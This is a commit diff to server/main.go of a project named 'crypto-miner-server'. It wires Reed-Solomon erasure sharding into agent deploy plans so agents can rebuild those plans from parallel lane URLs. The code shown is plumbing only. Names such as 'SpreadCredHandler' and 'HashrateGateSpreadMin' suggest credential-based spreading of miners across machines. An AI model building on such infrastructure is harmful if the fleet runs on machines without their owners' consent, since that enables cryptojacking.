Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/main.go

@@ -22,6 +22,7 @@ import (
 	"crypto-miner-server/internal/cloudflared"
 	"crypto-miner-server/internal/db"
 	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/maintenance"
 	"crypto-miner-server/internal/pool"
 	"crypto-miner-server/internal/scheduler"
@@ -301,7 +302,9 @@ func main() {
 		}
 		return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n}
 	}
+	erasureShardStore := erasure.NewShardStore()
 	publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
+	publicHandler.BindErasureShardStore(erasureShardStore)
 	spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
 	spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
 	deployPlanHandler := api.NewDeployPlanHandler(
@@ -310,6 +313,7 @@ func main() {
 		func() string { return cfg.Server.FleetSecret },
 		func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
 	)
+	deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
 
 	// Path Forge: server-side recursive file seeding
 	pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -403,6 +407,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
 			FleetRolesEnabled:     cfg.Server.FleetRolesEnabled,
 			HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin,
 			HashrateGateHPS:       cfg.Server.HashrateGateHPS,
+			ErasureLanesEnabled:   cfg.Server.ErasureLanesEnabled,
 		})
 	}
 	if poolManager != nil {